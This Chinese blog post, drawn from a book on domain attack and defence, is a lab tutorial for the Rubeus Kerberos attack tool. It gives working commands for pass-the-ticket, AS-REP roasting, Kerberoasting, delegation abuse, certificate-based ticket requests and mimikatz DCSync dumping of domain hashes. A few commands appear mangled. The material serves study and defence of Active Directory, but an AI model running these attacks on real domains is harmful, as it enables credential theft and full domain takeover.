谢公子学安全
——
Rubeus的使用
如果大家想参加《域渗透攻防》的培训课程,可以参见:助你弯道超车,《域渗透攻防》培训课程来啦!
本文部分节选于《域渗透攻防指南》,购买请长按如下图片扫码。
Rubeus是由国外安全研究员@harmj0y用C#语言写的一款针对Kerberos协议进行攻击的工具。它在很大程度上改编自@[Benjamin Delpy](https://twitter.com/gentilkiwi)的 kekeo工具 和 @[Vincent LE TOUX](https://twitter.com/mysmartlogon) 的 [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) 项目。它可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟针对Kerberos协议各个阶段发起攻击,以方便安全研究员进行研究和学习。Rebeus提供了大量用于Kerberos攻击的功能,如:TGT认购权证请求、ST服务票据请求、AS-REP Roasting攻击、Kerberoasting攻击、委派攻击、黄金票据攻击、白银票据攻击等,因此其使用程度远超Kekeo工具。以下演示Rubeus工具的一些常见的用法。
项目地址:https://github.com/GhostPack/Rubeus
以下是以RubeusV2.0.1版本为实验,如图所示:
申请TGT认购权证 ▼
Rubeus使用asktgt模块请求TGT认购权证,可以使用明文、密码哈希(DES加密和RC4加密) 和 AES Key(AES128和AES256)进行认证;其可以将TGT认购权证以base64格式打印出来、可以将TGT认购权证保存为文件,也可以将TGT认购权证直接导入到内存中。
将TGT认购权证导入到内存中后,想请求什么服务,系统就会自动利用该TGT认购权证请求指定服务的ST服务票据。
如当dir域控或者dcsync哈希的时候,会自动请求对应的ST服务票据。
-
dir请求的服务是cifs服务。
-
mimikatz的dcsync请求的服务是ldap服务。
asktgt模块有以下参数,用[]阔住的参数说明是可选参数:
-
/user:USER :请求的用户名
-
</password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>:凭据的格式,有明文密码、des加密的哈希、NTLM Hash、aes128和aes256,以及加密的类型
-
[/domain:DOMAIN] :域名
-
[/dc:DOMAIN_CONTROLLER] :域控
-
[/outfile:FILENAME] :输出的文件
-
[/ptt] :pass the ticket,即将票据导入到内存中
-
[/luid] :该参数用户将生成的票据用于指定的登录会话(需要管理员权限)
-
[/nowrap] :格式更好
-
[/opsec]
-
[/nopac]:票据中不请求PAC
如果没有指定/domain参数,则默认使用主机当前所在域。如果没有指定/dc参数,则会使用 DsGetDcName 函数来获取主机当前所在域的域控。
如图所示是微软官方对DsGetDcName 函数的描述,该函数的功能就是用来获取域中的域控制器的名称。
以下演示通过明文密码和RC4加密的密码哈希请求TGT认购权证。
1. 明文密码请求
Rebeus支持使用明文密码请求TGT认购权证。如下命令,使用administrator的明文密码请求TGT认购权证。
#明文密码申请TGT认购权证,以base64格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /password:P@ssword1234 /nowrap /ptt
#明文密码申请TGT认购权证,将票据保存为ticket.kirbi文件,并导入到内存中
Rubeus.exe asktgt /user:administrator /password:P@ssword1234 /nowrap /ptt /outfile:ticket.kirbi
如图所示,以administrator身份申请一张TGT认购权证,该TGT认购权证以base64格式打印出来并导入到内存中。
TGT认购权证导入内存后,即可访问高权限服务了。如图所示,通过dir命令访问域控和通过mimikatz的DCSync功能导出域内哈希。
也可以将TGT认购权证保存为kirbi票据文件。如图所示,以administrator身份申请一张TGT认购权证,该TGT认购权证保存为kirbi票据文件并导入到内存中。
2. 密码哈希请求
Rubeus也支持使用密码哈希请求TGT认购权证。如下命令,使用administrator的密码哈希请求TGT认购权证。
#密码哈希申请TGT认购权证,以base64格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb /enctype:RC4 /nowrap /ptt
#将票据保存为ticket.kirbi文件,并导入到内存中,此时不会以base64格式打印出来
Rubeus.exe asktgt /user:administrator /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi
如图所示,使用密码哈希申请的TGT认购权证,以base64格式打印出来并导入到内存中。
TGT认购权证导入内存后,即可访问高权限服务了。如图所示,通过dir命令访问域控和通过mimikatz的DCSync功能导出域内哈希。
请求ST服务票据 ▼
Rubeus使用asktgs模块请求ST服务票据,需要提供一张TGT认购权证,提供的TGT认购权证可以是base64格式的也可以是kirbi结尾的票据文件。因此,需要先使用Rubeus请求一张TGT认购权证,然后再使用asktgs模块用该TGT认购权证请求指定服务的ST服务票据。可以将请求的ST服务票据以base64格式打印出来、可以将ST服务票据保存为文件,也可以将ST服务票据直接导入到内存中。
asktgs模块有以下参数,用[]阔住的参数说明是可选参数:
-
:票据文件
-
:请求的服务
-
[/enctype:DES|RC4|AES128|AES256] :加密类型
-
[/dc:DOMAIN_CONTROLLER] :域控
-
[/outfile:FILENAME] :输出的文件
-
[/ptt] :即将票据导入到内存中
-
[/nowrap] :格式更好;
-
[/enterprise]
-
[/opsec]
-
:指定生成base64格式的票据还是票据文件
-
[/usesvcdomain]
1. 首先请求TGT认购权证
首先,使用Rubeus请求一张TGT认购权证,如图所示。
#明文密码申请TGT认购权证,以base64格式打印出来
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
2.请求ST服务票据
接着用上一步请求的TGT认购权证即可请求指定服务的ST服务票据了!这里需要注意的是我们平常请求的CIFS服务的票据,只能用于dir这种操作,而不能使用mimikatz的DCSync功能。要想使用mimikatz的DCSync功能,需要请求LDAP服务。
(1) 请求CIFS服务票据
如下命令,用上一步得到的TGT认购权证请求AD01的CIFS服务的ST服务票据。
#请求访问ad01.xie.com的cifs服务的ST服务票据,并导入到内存中
Rubeus.exe asktgs /service:"cifs/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据的base64格式
#使用dir命令
dir \ad01.xie.comc$
如图所示,请求了AD01的CIFS服务票据,并导入到内存中。
如图所示,可以看到,未请求ST服务票据之前,无法访问AD01的CIFS服务,导入ST服务票据之后,即可访问AD01的CIFS服务了。
(2) 请求LDAP服务票据
如下命令,用上一步得到的TGT认购权证请求AD01的LDAP服务的ST服务票据。
#请求访问ad01.xie.com的ldap服务的ST服务票据,并导入到内存中
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据的base64格式
#通过mimikatz的DCSync功能导出域用户哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
如图所示,请求了AD01的LDAP服务票据,并导入到内存中。
如图所示,可以看到,未请求ST服务票据之前,是无法通过mimikatz的DCSync导出域内任意用户哈希的,导入ST服务票据之后,即通mimikatz的DCSync导出域内任意用户哈希。
Rubeus导入票据 ▼
Rubeus支持通过票据文件或者base64格式的票据进行导入。票据文件除了可以是Rubeus请求生成的票据,也可以是其他工具如Kekeo请求的票据,只要是以.kirbi为后缀的均可。
1. 导入base64格式的票据
如果在请求票据的时候没有使用/ptt参数导入到内存中的话,可以直接使用Rubeus导入请求的base64格式票据,即可访问目标。
如下命令,使用administrator凭据请求TGT认购权证,以base64格式打印出来,不导入到内存中。
Rubeus.exe asktgt /user:administrator /password:P /nowrap
如图所示,使用administrator凭据请求TGT认购权证,以base64格式打印出来,不导入到内存中。
然后执行如下命令将以上base64格式的票据导入到内存中。
#导入票据
Rubeus.exe ptt /ticket:上一步请求的TGT票据
如图所示,将base64格式的票据导入到内存中。
如图所示,可以看到,未导入票据之前,无法访问AD01的CIFS服务,导入服务票据之后,即可访问AD01的CIFS服务了。
2. 导入票据文件
Rubeus支持导入以.kirbi为后缀的票据文件。可以是Rubeus生成的票据文件,也可以是其他工具如Kekeo生成的票据文件。
(1) 导入Rubeus生成的票据
如下命令,使用Rubeus生成票据文件,并使用Rebeus导入票据文件。
#明文密码申请TGT认购权证,将票据保存为ticket.kirbi文件,此时并不导入到内存中
Rubeus.exe asktgt /user:administrator /password:P@ssword1234 /nowrap /outfile:ticket.kirbi
#导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
如图所示,可以看到使用Rubeus请求TGT认购权证,并生成票据文件ticket.kirbi。
然后使用Rubeus导入该ticket.kirbi票据文件。如图所示:
如图所示,可以看到,未导入票据之前,无法访问AD01的CIFS服务,导入服务票据之后,即可访问AD01的CIFS服务了。
(2) 导入Kekeo生成的票据
如下命令,使用Kekeo工具生成票据文件,然后使用Rebeus导入票据文件。
#用Kekeo申请TGT认购权证,此时会生成一个kirbi结尾的票据
Kekeo.exe "tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234" "exit"
#导入票据
Rubeus.exe ptt /ticket:[email protected][email protected]
如图所示,可以看到使用Kekeo工具请求TGT认购权证,并生成票据文件,然后使用Rubeus导入该票据文件。
如图所示,可以看到,未导入票据之前,无法访问AD01的CIFS服务,导入服务票据之后,即可访问AD01的CIFS服务了。
AS-REP Roasting攻击 ▼
如果当前主机在域内的话,可以通过执行如下命令运行Rubeus,该工具会自动搜索域内设置了不要求Kerberos预身份验证的用户,并以该用户身份发送AS-REQ请求,由于不需要预身份验证,所以域控会直接返回AS-REP回复包。然后该工具会将AS-REP响应包中返回的用户Hash加密的Login Session Key以John能破解的格式保存为hash.txt文件。
Rubeus.exe asreproast /format:john /outfile:hash.txt
如图所示,通过LDAP查询找到test用户设置了不要求Kerberos预身份验证,然后用test身份发送AS-REQ请求,并将AS-REP响应包中返回的用户Hash加密的Login Session Key以John能破解的格式保存为hash.txt文件。
Kerberoasting攻击 ▼
Rubeus里面的Kerberoasting攻击支持对所有用户或者特定用户执行Kerberoasting操作,其原理在于先用LDAP查询域内所有具有SPN的用户(除了kadmin/changepw),再通过发送TGS包,然后直接打印出能使用 John 或 hashcat 爆破的Hash。
如下命令会请求域内所有具有SPN的用户,并以hashcat能破解的格式保存为hash.txt文件。
Rubeus.exe kerberoast /format:john /outfile:hash.txt
如图所示,通过LDAP查询域内所有具有SPN的用户,可以看到查询到hack用户。然后通过发送TGS包,请求hack用户下注册的SPN的服务票据,并保存为hash.txt文件。拿到hash.txt文件后,攻击者就可对其进行爆破了。
如下命令会请求指定SPN的服务票据,并以john能破解的格式保存为hash.txt文件。拿到hash.txt文件后,攻击者就可对其进行爆破了。
Rubeus.exe kerberoast /spn:SQLServer/win7.xie.com:1433/MSSQL /format:john /outfile:hash.txt
执行结果如图所示,
委派攻击 ▼
Rubeus工具也支持委派攻击,其进行S4U请求只能接收rc4加密算法的哈希或者AES加密的AES256 Key,而不支持接收明文密码。其进行约束性委派攻击和基于资源的约束性委派攻击的命令是一样的,如下。
1. 约束性委派攻击
以下是使用Rubeus工具进行约束性委派攻击。
#利用machine$账号进行约束性委派攻击
Rubeus.exe s4u /user:machine$ /rc4:329153f560eb329c0e1deea55e88a1e9 /domain:xie.com /msdsspn:cifs/AD01.xie.com /impersonateuser:administrator /ptt
攻击者创建了一个机器账号machine$,密码为root,如图所示:
并且配置了machine$机器账号到指定cifs/AD01.xie.com服务的约束性委派,如图所示:
现在使用Rubeus工具利用machine$机器账号进行约束性委派攻击,获得域控AD01的权限,如图所示。
一共会获得多个票据,如图所示,可以看到所有票据都已导入内存中:
如图所示,可以看到未进行约束性委派攻击前无法获得AD01的权限,进行约束性委派攻击后,即获得了AD01的权限。
2. 基于资源的约束性委派攻击
以下是使用Rubeus工具进行基于资源的约束性委派攻击。
Rubeus.exe s4u /user:machine$ /rc4:329153f560eb329c0e1deea55e88a1e9 /domain:xie.com /msdsspn:cifs/win7.xie.com /impersonateuser:administrator /ptt
攻击者创建了一个机器账号machine$,密码为root,并且配置了machine$机器账号到机器Win7的基于资源的约束性委派,如图所示:
现在使用Rubeus工具利用machine$机器账号进行基于资源的约束性委派攻击,获得机器Win7的权限。如图所示:
一共会获得多个票据,如图所示,可以看到所有票据都已导入内存中:
如图所示,可以看到未进行约束性委派攻击前无法获得机器Win7的权限,进行基于资源的约束性委派攻击后,即获得了机器Win7的权限。
ADCS攻击 ▼
利用pfx证书文件请求TGT认购权证。
#该cert.pfx文件密码为空
Rubeus.exe asktgt /user:hack /certificate:cert.pfx /dc:10.211.55.4 /ptt
#如果cert.pfx文件密码为aaa,则需要指定密码
Rubeus.exe asktgt /user:hack /certificate:cert.pfx /password:aaa /dc:10.211.55.4 /ptt
END
非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。如果你想一起学习AD域安全攻防的话,可以加入下面的知识星球一起学习交流。
原文始发于微信公众号(谢公子学安全):Rubeus的使用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论